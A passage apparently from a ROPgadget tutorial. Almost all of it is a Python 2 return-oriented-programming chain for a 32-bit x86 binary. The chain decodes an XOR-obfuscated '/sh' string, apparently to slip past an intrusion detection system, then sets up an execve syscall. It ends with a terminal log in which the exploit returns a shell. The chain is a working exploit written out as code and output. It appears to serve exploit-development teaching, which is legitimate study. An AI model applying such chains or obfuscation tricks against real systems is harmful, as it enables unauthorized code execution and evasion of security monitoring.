                p += pack("<I", 0x08058770)                  # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                # decrypt '/'
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e0+5)                # @ .data
                p += pack("<I", 0x080c34a9)                  # mov (%edx),%ecx | ret
                p += pack("<I", 0x080ce3c8)                  # xor $0x77,%ecx | ret
                p += pack("<I", 0x08058770)                  # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                # decrypt 's'
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e0+6)                # @ .data
                p += pack("<I", 0x080c34a9)                  # mov (%edx),%ecx | ret
                p += pack("<I", 0x080ce3c8)                  # xor $0x77,%ecx | ret
                p += pack("<I", 0x08058770)                  # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                # decrypt 'h'
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e0+7)                # @ .data
                p += pack("<I", 0x080c34a9)                  # mov (%edx),%ecx | ret
                p += pack("<I", 0x080ce3c8)                  # xor $0x77,%ecx | ret
                p += pack("<I", 0x08058770)                  # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                # set NULL bytes
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e0+8)                # @ .data + 7
                p += pack("<I", 0x080577b0)                  # xor %eax,%eax | ret
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e0+9)                # @ .data + 8
                p += pack("<I", 0x080577b0)                  # xor %eax,%eax | ret
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e0+10)               # @ .data + 9
                p += pack("<I", 0x080577b0)                  # xor %eax,%eax | ret
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e0+11)               # @ .data + 10
                p += pack("<I", 0x080577b0)                  # xor %eax,%eax | ret
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                # set register for execve
                p += pack("<I", 0x08048144)                  # pop %ebx | ret
                p += pack("<I", 0x080ce3e0)                  # @ .data
                p += pack("<I", 0x080bc924)                  # pop %ecx | ret
                p += pack("<I", 0x080ce3e8)                  # @ .data + 8
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e8)                  # @ .data + 8

                # set eax pour execve syscall
                p += pack("<I", 0x080577b0)                  # xor %eax,%eax | ret
                p += pack("<I", 0x08069f78)                  # inc %eax | ret
                p += pack("<I", 0x08069f78)                  # inc %eax | ret
                p += pack("<I", 0x08069f78)                  # inc %eax | ret
                p += pack("<I", 0x08069f78)                  # inc %eax | ret
                p += pack("<I", 0x08069f78)                  # inc %eax | ret
                p += pack("<I", 0x08069f78)                  # inc %eax | ret
                p += pack("<I", 0x08069f78)                  # inc %eax | ret
                p += pack("<I", 0x08069f78)                  # inc %eax | ret
                p += pack("<I", 0x08069f78)                  # inc %eax | ret
                p += pack("<I", 0x08069f78)                  # inc %eax | ret
                p += pack("<I", 0x08069f78)                  # inc %eax | ret
                p += pack("<I", 0x080491f9)                  # int $0x80

                print p
                jonathan@ArchLinux [rop-ids] $ ./main "$(python2 ./test-ids3.py)" 
                sh-4.2$ 
                


                You can then create your own gadgets and use them later.
                These methods will be added in future versions of ROPgadget.